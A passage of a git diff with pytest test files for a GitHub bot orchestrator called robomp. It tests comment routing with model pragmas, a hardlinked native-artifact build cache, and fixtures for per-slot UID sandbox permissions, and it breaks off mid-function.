|
||||
{
|
||||
"action": "created",
|
||||
"comment": {"user": {"login": "renovate", "type": "Bot"}, "body": "deps"},
|
||||
"issue": {"number": 9},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
reviewer_bots=frozenset({"chatgpt-codex-connector"}),
|
||||
)
|
||||
assert not decision.should_queue
|
||||
assert "bot" in decision.reason
|
||||
|
||||
|
||||
def test_route_reviewer_bot_login_case_insensitive() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "ChatGPT-Codex-Connector", "type": "Bot"},
|
||||
"body": "feedback",
|
||||
},
|
||||
"issue": {"number": 9, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
reviewer_bots=frozenset({"chatgpt-codex-connector"}),
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.directive is True
|
||||
assert decision.directive_author == "chatgpt-codex-connector"
|
||||
|
||||
|
||||
def test_route_directive_strips_pragmas_from_maintainer_comment() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "can1357"},
|
||||
"author_association": "OWNER",
|
||||
"body": "@robomp-bot /model gpt /thinking low\nrefactor X",
|
||||
},
|
||||
"issue": {"number": 9},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "refactor X"
|
||||
assert decision.directive_pragmas == (("model", "gpt"), ("thinking", "low"))
|
||||
|
||||
|
||||
def test_route_directive_strips_pragmas_from_reviewer_bot_comment() -> None:
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "chatgpt-codex-connector", "type": "Bot"},
|
||||
"body": "/model claude\nLeak in foo()",
|
||||
},
|
||||
"issue": {"number": 9, "pull_request": {"url": "x"}},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
reviewer_bots=frozenset({"chatgpt-codex-connector"}),
|
||||
resolve_issue_from_pr=lambda _r, _n: "octo/widget#42",
|
||||
)
|
||||
assert decision.directive is True
|
||||
assert decision.directive_body == "Leak in foo()"
|
||||
assert decision.directive_pragmas == (("model", "claude"),)
|
||||
|
||||
|
||||
def test_route_non_directive_comment_carries_no_pragmas() -> None:
|
||||
# Random user pragmas must NOT propagate — only directive comments do.
|
||||
decision = route(
|
||||
"issue_comment",
|
||||
{
|
||||
"action": "created",
|
||||
"comment": {
|
||||
"user": {"login": "stranger"},
|
||||
"author_association": "NONE",
|
||||
"body": "/model gpt\nhello",
|
||||
},
|
||||
"issue": {"number": 9},
|
||||
"repository": {"full_name": "octo/widget"},
|
||||
},
|
||||
allowlist=ALLOWLIST,
|
||||
bot_login=BOT,
|
||||
)
|
||||
assert decision.directive is False
|
||||
assert decision.directive_pragmas == ()
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,414 @@
|
||||
"""Unit tests for `robomp.natives_cache`.
|
||||
|
||||
The module's filesystem operations (hardlink, atomic rename, flock) are
|
||||
exercised against `tmp_path`; nothing here requires a running orchestrator.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import errno
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp.natives_cache import (
|
||||
CACHE_KEY_PATHS,
|
||||
NativesCache,
|
||||
_atomic_link,
|
||||
compute_key,
|
||||
)
|
||||
|
||||
REPO = "octo/widget"
|
||||
|
||||
|
||||
# ---- repo + workspace fixtures ----
|
||||
|
||||
|
||||
def _git(args: list[str], cwd: Path) -> None:
|
||||
subprocess.run(
|
||||
["git", *args],
|
||||
cwd=str(cwd),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env=os.environ
|
||||
| {
|
||||
"GIT_AUTHOR_NAME": "t",
|
||||
"GIT_AUTHOR_EMAIL": "t@t",
|
||||
"GIT_COMMITTER_NAME": "t",
|
||||
"GIT_COMMITTER_EMAIL": "t@t",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _seed_repo(root: Path, *, with_all_inputs: bool = True) -> Path:
|
||||
"""Stand up a minimal repo with the cache-key inputs present.
|
||||
|
||||
When `with_all_inputs=False`, only `Cargo.lock` exists — used to exercise
|
||||
the missing-path code path in `compute_key`.
|
||||
"""
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
_git(["init", "--initial-branch=main", str(root)], cwd=root.parent)
|
||||
(root / "Cargo.lock").write_text("# lock v1\n")
|
||||
if with_all_inputs:
|
||||
(root / "Cargo.toml").write_text("[workspace]\nmembers = ['crates/*']\n")
|
||||
(root / "rust-toolchain.toml").write_text('[toolchain]\nchannel = "1.85.0"\n')
|
||||
crates = root / "crates" / "pi-natives"
|
||||
crates.mkdir(parents=True)
|
||||
(crates / "Cargo.toml").write_text('[package]\nname = "pi-natives"\n')
|
||||
(crates / "src.rs").write_text("// source\n")
|
||||
natives = root / "packages" / "natives"
|
||||
natives.mkdir(parents=True)
|
||||
(natives / "package.json").write_text('{"name":"@oh-my-pi/pi-natives"}\n')
|
||||
scripts = natives / "scripts"
|
||||
scripts.mkdir()
|
||||
(scripts / "build-native.ts").write_text("// build script\n")
|
||||
native_dir = natives / "native"
|
||||
native_dir.mkdir()
|
||||
(native_dir / "index.d.ts").write_text("// initial typings\n")
|
||||
_git(["-C", str(root), "add", "."], cwd=root.parent)
|
||||
_git(["-C", str(root), "commit", "-m", "init"], cwd=root.parent)
|
||||
return root
|
||||
|
||||
|
||||
def _populate_built_artifacts(repo_dir: Path, *, body: bytes = b"\x7fELF...native") -> Path:
|
||||
"""Fill `packages/natives/native/` with a complete built-artifact set."""
|
||||
native_dir = repo_dir / "packages" / "natives" / "native"
|
||||
native_dir.mkdir(parents=True, exist_ok=True)
|
||||
(native_dir / "pi_natives.linux-arm64.node").write_bytes(body)
|
||||
(native_dir / "index.d.ts").write_text("export const X: number;\n")
|
||||
(native_dir / "index.js").write_text("export const X = 1;\n")
|
||||
(native_dir / "embedded-addon.js").write_text("export const embeddedAddon = null;\n")
|
||||
return native_dir
|
||||
|
||||
|
||||
# ---- compute_key ----
|
||||
|
||||
|
||||
def test_compute_key_deterministic_across_clones(tmp_path: Path) -> None:
|
||||
a = _seed_repo(tmp_path / "a")
|
||||
b_root = tmp_path / "b"
|
||||
subprocess.run(["git", "clone", str(a), str(b_root)], check=True, capture_output=True, text=True)
|
||||
key_a = compute_key(a, target="linux-arm64")
|
||||
key_b = compute_key(b_root, target="linux-arm64")
|
||||
assert key_a == key_b
|
||||
|
||||
|
||||
def test_compute_key_changes_when_each_input_changes(tmp_path: Path) -> None:
|
||||
base = _seed_repo(tmp_path / "base")
|
||||
base_key = compute_key(base, target="linux-arm64")
|
||||
|
||||
# Touching a file under each key path must shift the key.
|
||||
mutations: dict[str, tuple[str, str]] = {
|
||||
"crates": ("crates/pi-natives/src.rs", "// new comment\n"),
|
||||
"Cargo.lock": ("Cargo.lock", "# lock v2\n"),
|
||||
"Cargo.toml": ("Cargo.toml", "[workspace]\nmembers = ['crates/*', 'extra']\n"),
|
||||
"rust-toolchain.toml": ("rust-toolchain.toml", '[toolchain]\nchannel = "1.86.0"\n'),
|
||||
"packages/natives": ("packages/natives/scripts/build-native.ts", "// edited\n"),
|
||||
}
|
||||
for label, (rel, body) in mutations.items():
|
||||
clone = tmp_path / f"clone-{label.replace('/', '-')}"
|
||||
subprocess.run(
|
||||
["git", "clone", str(base), str(clone)],
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
target = clone / rel
|
||||
target.parent.mkdir(parents=True, exist_ok=True)
|
||||
target.write_text(body)
|
||||
_git(["-C", str(clone), "add", "."], cwd=clone.parent)
|
||||
_git(["-C", str(clone), "commit", "-m", f"mutate {label}"], cwd=clone.parent)
|
||||
new_key = compute_key(clone, target="linux-arm64")
|
||||
assert new_key != base_key, f"key did not change after mutating {label}"
|
||||
|
||||
|
||||
def test_compute_key_target_triple_changes_key(tmp_path: Path) -> None:
|
||||
repo = _seed_repo(tmp_path / "repo")
|
||||
arm = compute_key(repo, target="linux-arm64")
|
||||
x64 = compute_key(repo, target="linux-x64-modern")
|
||||
assert arm != x64
|
||||
|
||||
|
||||
def test_compute_key_handles_missing_inputs(tmp_path: Path) -> None:
|
||||
"""Missing key paths fold to a fixed null hash → key still deterministic."""
|
||||
repo = _seed_repo(tmp_path / "repo", with_all_inputs=False)
|
||||
# Lock-only repo: should compute without error, and adding a tracked
|
||||
# crates/ subtree shifts the key.
|
||||
key_before = compute_key(repo, target="linux-arm64")
|
||||
crates = repo / "crates" / "pi-natives"
|
||||
crates.mkdir(parents=True)
|
||||
(crates / "lib.rs").write_text("// new\n")
|
||||
_git(["-C", str(repo), "add", "."], cwd=repo.parent)
|
||||
_git(["-C", str(repo), "commit", "-m", "add crates"], cwd=repo.parent)
|
||||
key_after = compute_key(repo, target="linux-arm64")
|
||||
assert key_before != key_after
|
||||
|
||||
|
||||
def test_compute_key_uses_all_documented_paths() -> None:
|
||||
# Sanity contract: the exported path list IS the input set.
|
||||
assert CACHE_KEY_PATHS == (
|
||||
"crates",
|
||||
"Cargo.lock",
|
||||
"Cargo.toml",
|
||||
"rust-toolchain.toml",
|
||||
"packages/natives",
|
||||
)
|
||||
|
||||
|
||||
def test_compute_key_raises_on_non_repo(tmp_path: Path) -> None:
|
||||
with pytest.raises(subprocess.CalledProcessError):
|
||||
compute_key(tmp_path, target="linux-arm64")
|
||||
|
||||
|
||||
# ---- populate / capture ----
|
||||
|
||||
|
||||
def _cache(tmp_path: Path, **kwargs: object) -> NativesCache:
|
||||
return NativesCache(tmp_path / "natives-cache", **kwargs) # type: ignore[arg-type]
|
||||
|
||||
|
||||
def test_populate_workspace_miss_is_noop(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
repo_dir = _seed_repo(tmp_path / "ws" / "repo")
|
||||
native_dir = repo_dir / "packages" / "natives" / "native"
|
||||
before = sorted(p.name for p in native_dir.iterdir())
|
||||
hit = cache.populate_workspace(REPO, "deadbeef" * 8, native_dir)
|
||||
after = sorted(p.name for p in native_dir.iterdir())
|
||||
assert hit is None
|
||||
assert before == after
|
||||
|
||||
|
||||
def test_capture_then_populate_shares_node_inode_but_copies_companions(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
src_repo = _seed_repo(tmp_path / "src" / "repo")
|
||||
native_dir = _populate_built_artifacts(src_repo)
|
||||
key = compute_key(src_repo, target="linux-arm64")
|
||||
stored = cache.capture(REPO, key, native_dir, source_workspace="src__001")
|
||||
assert stored is not None
|
||||
manifest = json.loads((stored / "manifest.json").read_text())
|
||||
assert manifest["key"] == key
|
||||
assert "pi_natives.linux-arm64.node" in manifest["node_files"]
|
||||
|
||||
# Populate a fresh workspace from the same source state.
|
||||
dst_repo = src_repo.parent.parent / "dst" / "repo"
|
||||
dst_repo.mkdir(parents=True)
|
||||
_git(["clone", str(src_repo), str(dst_repo)], cwd=dst_repo.parent)
|
||||
dst_native = dst_repo / "packages" / "natives" / "native"
|
||||
dst_native.mkdir(parents=True, exist_ok=True)
|
||||
hit = cache.populate_workspace(REPO, key, dst_native)
|
||||
assert hit is not None
|
||||
assert {p.name for p in hit.files} >= {
|
||||
"pi_natives.linux-arm64.node",
|
||||
"index.d.ts",
|
||||
"index.js",
|
||||
"embedded-addon.js",
|
||||
}
|
||||
# The `.node` is hardlinked: same inode, nlink ≥ 2.
|
||||
cached_node = stored / "pi_natives.linux-arm64.node"
|
||||
workspace_node = dst_native / "pi_natives.linux-arm64.node"
|
||||
assert cached_node.stat().st_ino == workspace_node.stat().st_ino
|
||||
assert cached_node.stat().st_nlink >= 2
|
||||
# Companions are COPIED (independent inodes): in-place rewrite in the
|
||||
# workspace (gen-enums.ts / installGeneratedBindings open-truncate-write)
|
||||
# MUST NOT mutate the cached copy.
|
||||
for name in ("index.d.ts", "index.js", "embedded-addon.js"):
|
||||
cached_companion = stored / name
|
||||
ws_companion = dst_native / name
|
||||
assert cached_companion.stat().st_ino != ws_companion.stat().st_ino, name
|
||||
original = cached_companion.read_text()
|
||||
ws_companion.write_text("rewritten\n")
|
||||
assert cached_companion.read_text() == original, name
|
||||
|
||||
|
||||
def test_capture_skips_when_artifacts_incomplete(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
repo = _seed_repo(tmp_path / "ws" / "repo")
|
||||
native_dir = repo / "packages" / "natives" / "native"
|
||||
# Only the .node — missing companions → capture refuses.
|
||||
(native_dir / "pi_natives.linux-arm64.node").write_bytes(b"x")
|
||||
assert cache.capture(REPO, "k", native_dir) is None
|
||||
# And no entry was created.
|
||||
assert not cache.entry_dir(REPO, "k").exists()
|
||||
|
||||
|
||||
def test_capture_is_idempotent_under_lock(tmp_path: Path) -> None:
|
||||
"""Two concurrent captures of the same key end with one final entry."""
|
||||
cache = _cache(tmp_path)
|
||||
src_repo = _seed_repo(tmp_path / "src" / "repo")
|
||||
_populate_built_artifacts(src_repo)
|
||||
key = compute_key(src_repo, target="linux-arm64")
|
||||
native_dir = src_repo / "packages" / "natives" / "native"
|
||||
|
||||
results: list[Path | None] = []
|
||||
barrier = threading.Barrier(2)
|
||||
|
||||
def run() -> None:
|
||||
barrier.wait()
|
||||
results.append(cache.capture(REPO, key, native_dir))
|
||||
|
||||
threads = [threading.Thread(target=run) for _ in range(2)]
|
||||
for t in threads:
|
||||
t.start()
|
||||
for t in threads:
|
||||
t.join()
|
||||
# Both calls succeed (one captures, the other recognizes the entry).
|
||||
assert all(isinstance(r, Path) for r in results)
|
||||
# Exactly one final entry directory (no leftover staging).
|
||||
repo_root = cache.repo_root(REPO)
|
||||
final_dirs = [p for p in repo_root.iterdir() if p.is_dir() and not p.name.startswith(".")]
|
||||
assert len(final_dirs) == 1
|
||||
assert final_dirs[0].name == key
|
||||
|
||||
|
||||
def test_populate_cross_device_falls_back_to_copy(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
src_repo = _seed_repo(tmp_path / "src" / "repo")
|
||||
_populate_built_artifacts(src_repo)
|
||||
key = compute_key(src_repo, target="linux-arm64")
|
||||
cache.capture(REPO, key, src_repo / "packages" / "natives" / "native")
|
||||
|
||||
dst_native = tmp_path / "ws2" / "packages" / "natives" / "native"
|
||||
dst_native.mkdir(parents=True)
|
||||
|
||||
# Simulate cross-device hardlink failure for every os.link call.
|
||||
real_link = os.link
|
||||
|
||||
def fake_link(src, dst, *args, **kwargs): # type: ignore[no-untyped-def]
|
||||
raise OSError(errno.EXDEV, "Cross-device link", str(src))
|
||||
|
||||
monkeypatch.setattr(os, "link", fake_link)
|
||||
try:
|
||||
hit = cache.populate_workspace(REPO, key, dst_native)
|
||||
finally:
|
||||
monkeypatch.setattr(os, "link", real_link)
|
||||
assert hit is not None
|
||||
# Files exist (via copy) but are distinct inodes from the cache.
|
||||
cached_node = cache.entry_dir(REPO, key) / "pi_natives.linux-arm64.node"
|
||||
copied_node = dst_native / "pi_natives.linux-arm64.node"
|
||||
assert copied_node.exists()
|
||||
assert cached_node.stat().st_ino != copied_node.stat().st_ino
|
||||
|
||||
|
||||
def test_populate_replaces_existing_file_atomically(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
src_repo = _seed_repo(tmp_path / "src" / "repo")
|
||||
_populate_built_artifacts(src_repo, body=b"\x7fELF.A")
|
||||
key = compute_key(src_repo, target="linux-arm64")
|
||||
cache.capture(REPO, key, src_repo / "packages" / "natives" / "native")
|
||||
|
||||
dst_native = tmp_path / "dst" / "packages" / "natives" / "native"
|
||||
dst_native.mkdir(parents=True)
|
||||
# Pre-existing stub bytes — populate must replace, not append/error.
|
||||
target = dst_native / "pi_natives.linux-arm64.node"
|
||||
target.write_bytes(b"old-stub")
|
||||
hit = cache.populate_workspace(REPO, key, dst_native)
|
||||
assert hit is not None
|
||||
assert target.read_bytes() == b"\x7fELF.A"
|
||||
|
||||
|
||||
# ---- gc ----
|
||||
|
||||
|
||||
def _stamp_entry(cache: NativesCache, repo: str, key: str, captured_at: float) -> Path:
|
||||
entry = cache.entry_dir(repo, key)
|
||||
entry.mkdir(parents=True, exist_ok=True)
|
||||
(entry / "pi_natives.linux-arm64.node").write_bytes(b"x" * 1024)
|
||||
(entry / "index.d.ts").write_text("")
|
||||
(entry / "index.js").write_text("")
|
||||
(entry / "embedded-addon.js").write_text("")
|
||||
(entry / "manifest.json").write_text(
|
||||
json.dumps({"key": key, "captured_at": captured_at, "node_files": ["pi_natives.linux-arm64.node"]})
|
||||
)
|
||||
return entry
|
||||
|
||||
|
||||
def test_gc_evicts_oldest_beyond_entry_cap(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path, max_entries_per_repo=2, max_bytes=0)
|
||||
now = time.time()
|
||||
_stamp_entry(cache, REPO, "k1", now - 300)
|
||||
_stamp_entry(cache, REPO, "k2", now - 200)
|
||||
_stamp_entry(cache, REPO, "k3", now - 100)
|
||||
evicted = cache.gc(REPO)
|
||||
assert evicted == 1
|
||||
remaining = {p.name for p in cache.repo_root(REPO).iterdir() if p.is_dir() and not p.name.startswith(".")}
|
||||
assert remaining == {"k2", "k3"}
|
||||
|
||||
|
||||
def test_gc_evicts_for_byte_cap(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path, max_entries_per_repo=8, max_bytes=2500)
|
||||
now = time.time()
|
||||
# Each entry weighs ~1024 bytes (the .node); 3 entries → ~3072 bytes > cap.
|
||||
_stamp_entry(cache, REPO, "k1", now - 300)
|
||||
_stamp_entry(cache, REPO, "k2", now - 200)
|
||||
_stamp_entry(cache, REPO, "k3", now - 100)
|
||||
cache.gc(REPO)
|
||||
remaining = {p.name for p in cache.repo_root(REPO).iterdir() if p.is_dir() and not p.name.startswith(".")}
|
||||
# Oldest evicted; at least one survives.
|
||||
assert "k1" not in remaining
|
||||
assert remaining <= {"k2", "k3"}
|
||||
assert remaining
|
||||
|
||||
|
||||
def test_gc_preserves_workspace_hardlinks(tmp_path: Path) -> None:
|
||||
"""Evicting a cache entry must NOT delete the file from workspaces that
|
||||
hardlinked it — kernel inode refcount keeps the data alive."""
|
||||
cache = _cache(tmp_path, max_entries_per_repo=1, max_bytes=0)
|
||||
now = time.time()
|
||||
entry = _stamp_entry(cache, REPO, "k1", now - 500)
|
||||
_stamp_entry(cache, REPO, "k2", now - 100)
|
||||
# Workspace hardlinks the older entry's .node before GC runs.
|
||||
ws_node = tmp_path / "ws" / "pi_natives.linux-arm64.node"
|
||||
ws_node.parent.mkdir(parents=True)
|
||||
os.link(entry / "pi_natives.linux-arm64.node", ws_node)
|
||||
cache.gc(REPO)
|
||||
assert not entry.exists() # cache directory swept
|
||||
assert ws_node.exists() # workspace file survives via inode refcount
|
||||
assert ws_node.read_bytes() == b"x" * 1024
|
||||
|
||||
|
||||
def test_gc_clears_stale_staging_dirs(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
repo_root = cache.repo_root(REPO)
|
||||
repo_root.mkdir(parents=True)
|
||||
stale = repo_root / ".aabb.tmp.99999"
|
||||
stale.mkdir()
|
||||
(stale / "leaked").write_text("from a crashed capture")
|
||||
cache.gc(REPO)
|
||||
assert not stale.exists()
|
||||
|
||||
|
||||
def test_gc_drops_entry_with_missing_manifest(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
incomplete = cache.entry_dir(REPO, "bogus")
|
||||
incomplete.mkdir(parents=True)
|
||||
(incomplete / "pi_natives.linux-arm64.node").write_bytes(b"x")
|
||||
cache.gc(REPO)
|
||||
assert not incomplete.exists()
|
||||
|
||||
|
||||
def test_lookup_rejects_incomplete_entry(tmp_path: Path) -> None:
|
||||
cache = _cache(tmp_path)
|
||||
entry = cache.entry_dir(REPO, "partial")
|
||||
entry.mkdir(parents=True)
|
||||
(entry / "manifest.json").write_text("{}")
|
||||
# No .node → no hit even though manifest exists.
|
||||
assert cache.lookup(REPO, "partial") is None
|
||||
|
||||
|
||||
# ---- _atomic_link ----
|
||||
|
||||
|
||||
def test_atomic_link_replaces_existing_target(tmp_path: Path) -> None:
|
||||
src = tmp_path / "src"
|
||||
src.write_bytes(b"new")
|
||||
dst = tmp_path / "dst"
|
||||
dst.write_bytes(b"old")
|
||||
_atomic_link(src, dst)
|
||||
assert dst.read_bytes() == b"new"
|
||||
assert dst.stat().st_ino == src.stat().st_ino
|
||||
@@ -0,0 +1,482 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
from collections.abc import Iterator
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp import host_tools
|
||||
from robomp.db import Database
|
||||
from robomp.github_backend import GitHubBackend
|
||||
from robomp.github_client import IssueInfo, RepoInfo
|
||||
from robomp.natives_cache import NativesCache
|
||||
from robomp.natives_cache import compute_key as natives_compute_key
|
||||
from robomp.sandbox import LocalGitTransport, SandboxManager, Workspace
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
os.environ.get("ROBOMP_PERMISSION_E2E") != "1",
|
||||
reason="set ROBOMP_PERMISSION_E2E=1 to run slot-permission e2e tests",
|
||||
)
|
||||
|
||||
_SLOT_ONE = 2001
|
||||
_SLOT_TWO = 2002
|
||||
_SHARED_OMP_GID = 2000
|
||||
_AUTHOR_NAME = "robomp-bot"
|
||||
_AUTHOR_EMAIL = "robomp-bot@example.invalid"
|
||||
_REPO = "octo/permission-e2e"
|
||||
|
||||
|
||||
def _require_linux_root_toolchain() -> None:
|
||||
if platform.system() != "Linux" or os.geteuid() != 0:
|
||||
pytest.skip("slot permission e2e tests require Linux root so subprocesses can drop to omp-N UIDs")
|
||||
missing = [cmd for cmd in ("git", "bun", "cargo", "python3") if shutil.which(cmd) is None]
|
||||
if missing:
|
||||
pytest.skip(f"slot permission e2e tests require tools on PATH: {', '.join(missing)}")
|
||||
|
||||
|
||||
def _git(args: list[str], cwd: Path, *, env: dict[str, str] | None = None) -> subprocess.CompletedProcess[str]:
|
||||
return subprocess.run(
|
||||
["git", *args],
|
||||
cwd=str(cwd),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
def _write_seed_repo(seed: Path) -> None:
|
||||
(seed / "src").mkdir(parents=True)
|
||||
(seed / "crates" / "core" / "src").mkdir(parents=True)
|
||||
(seed / "package.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"name": "permission-e2e",
|
||||
"private": True,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"check": "bun run check:ts && cargo check --workspace",
|
||||
"check:ts": "biome check src/index.ts",
|
||||
"fix": "biome check --write --unsafe src/index.ts",
|
||||
},
|
||||
"devDependencies": {"@biomejs/biome": "^2.4.14"},
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
+ "\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
(seed / ".gitignore").write_text("node_modules/\n", encoding="utf-8")
|
||||
(seed / "src" / "index.ts").write_text("export const answer = 42;\n", encoding="utf-8")
|
||||
(seed / "Cargo.toml").write_text(
|
||||
'[workspace]\nmembers = ["crates/core"]\nresolver = "2"\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(seed / "rust-toolchain.toml").write_text(
|
||||
'[toolchain]\nchannel = "stable"\nprofile = "minimal"\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(seed / "crates" / "core" / "Cargo.toml").write_text(
|
||||
'[package]\nname = "permission-e2e-core"\nversion = "0.1.0"\nedition = "2021"\n\n[lib]\npath = "src/lib.rs"\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(seed / "crates" / "core" / "src" / "lib.rs").write_text(
|
||||
"pub fn answer() -> u32 {\n 42\n}\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def slot_tmp_path() -> Iterator[Path]:
|
||||
root = Path(tempfile.mkdtemp(prefix="robomp-permission-e2e-", dir="/tmp"))
|
||||
root.chmod(0o755)
|
||||
try:
|
||||
yield root
|
||||
finally:
|
||||
shutil.rmtree(root, ignore_errors=True)
|
||||
|
||||
|
||||
def _share_tree_with_slots(path: Path) -> None:
|
||||
for root, dirs, files in os.walk(path):
|
||||
root_path = Path(root)
|
||||
os.chown(root_path, 0, _SHARED_OMP_GID)
|
||||
root_path.chmod(0o2770)
|
||||
for dirname in dirs:
|
||||
child = root_path / dirname
|
||||
os.chown(child, 0, _SHARED_OMP_GID)
|
||||
child.chmod(0o2770)
|
||||
for filename in files:
|
||||
child = root_path / filename
|
||||
executable = child.stat().st_mode & 0o111
|
||||
os.chown(child, 0, _SHARED_OMP_GID)
|
||||
child.chmod(0o770 if executable else 0o660)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def upstream_repo(slot_tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
||||
upstream = slot_tmp_path / "upstream.git"
|
||||
seed = slot_tmp_path / "seed"
|
||||
seed.mkdir()
|
||||
_write_seed_repo(seed)
|
||||
|
||||
_git(["init", "--initial-branch=main", "--bare", str(upstream)], cwd=slot_tmp_path)
|
||||
_git(["init", "--initial-branch=main", str(seed)], cwd=slot_tmp_path)
|
||||
_git(["-C", str(seed), "add", "."], cwd=slot_tmp_path)
|
||||
commit_env = os.environ | {
|
||||
"GIT_AUTHOR_NAME": "seed",
|
||||
"GIT_AUTHOR_EMAIL": "seed@example.invalid",
|
||||
"GIT_COMMITTER_NAME": "seed",
|
||||
"GIT_COMMITTER_EMAIL": "seed@example.invalid",
|
||||
}
|
||||
_git(["-C", str(seed), "commit", "-m", "seed"], cwd=slot_tmp_path, env=commit_env)
|
||||
_git(["-C", str(seed), "remote", "add", "origin", str(upstream)], cwd=slot_tmp_path)
|
||||
_git(["-C", str(seed), "push", "origin", "main"], cwd=slot_tmp_path)
|
||||
_share_tree_with_slots(upstream)
|
||||
git_system_config = slot_tmp_path / "git-system.conf"
|
||||
_git(["config", "--file", str(git_system_config), "--add", "safe.directory", str(upstream)], cwd=slot_tmp_path)
|
||||
git_system_config.chmod(0o644)
|
||||
monkeypatch.setenv("GIT_CONFIG_SYSTEM", str(git_system_config))
|
||||
return upstream
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def tool_loop() -> Iterator[asyncio.AbstractEventLoop]:
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
yield loop
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
|
||||
def _ensure_workspace(
|
||||
root: Path, upstream: Path, *, number: int, slot_uid: int, existing_branch: str | None = None
|
||||
) -> Workspace:
|
||||
manager = SandboxManager(root, transport=LocalGitTransport(token=None))
|
||||
return manager.ensure_workspace(
|
||||
repo=_REPO,
|
||||
number=number,
|
||||
title="permission e2e",
|
||||
clone_url=str(upstream),
|
||||
default_branch="main",
|
||||
existing_branch=existing_branch,
|
||||
author_name=_AUTHOR_NAME,
|
||||
author_email=_AUTHOR_EMAIL,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
|
||||
|
||||
def _bindings(
|
||||
*,
|
||||
db: Database,
|
||||
tool_loop: asyncio.AbstractEventLoop,
|
||||
workspace: Workspace,
|
||||
upstream: Path,
|
||||
slot_uid: int,
|
||||
) -> host_tools.ToolBindings:
|
||||
repo = RepoInfo(full_name=_REPO, default_branch="main", clone_url=str(upstream), private=False)
|
||||
issue = IssueInfo(
|
||||
repo=_REPO,
|
||||
number=workspace.issue_number,
|
||||
title="permission e2e",
|
||||
body="",
|
||||
state="open",
|
||||
author="human",
|
||||
labels=(),
|
||||
is_pull_request=False,
|
||||
)
|
||||
return host_tools.ToolBindings(
|
||||
db=db,
|
||||
github=cast(GitHubBackend, object()), # not used by these local-only host-tool paths
|
||||
git_transport=LocalGitTransport(token=None),
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
workspace=workspace,
|
||||
loop=tool_loop,
|
||||
author_name=_AUTHOR_NAME,
|
||||
author_email=_AUTHOR_EMAIL,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
|
||||
|
||||
def _run_ok(
|
||||
bindings: host_tools.ToolBindings,
|
||||
cmd: list[str] | tuple[str, ...],
|
||||
*,
|
||||
timeout: float = 180.0,
|
||||
) -> subprocess.CompletedProcess[str]:
|
||||
proc = host_tools._run_repo_command(bindings, cmd, timeout=timeout)
|
||||
assert proc.returncode == 0, (
|
||||
f"command failed as slot {bindings.slot_uid}: {' '.join(cmd)}\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
|
||||
)
|
||||
return proc
|
||||
|
||||
|
||||
def _write_as_slot(bindings: host_tools.ToolBindings, relative_path: str, content: str) -> None:
|
||||
_run_ok(
|
||||
bindings,
|
||||
[
|
||||
"python3",
|
||||
"-c",
|
||||
(
|
||||
"from pathlib import Path; "
|
||||
"Path(__import__('sys').argv[1]).parent.mkdir(parents=True, exist_ok=True); "
|
||||
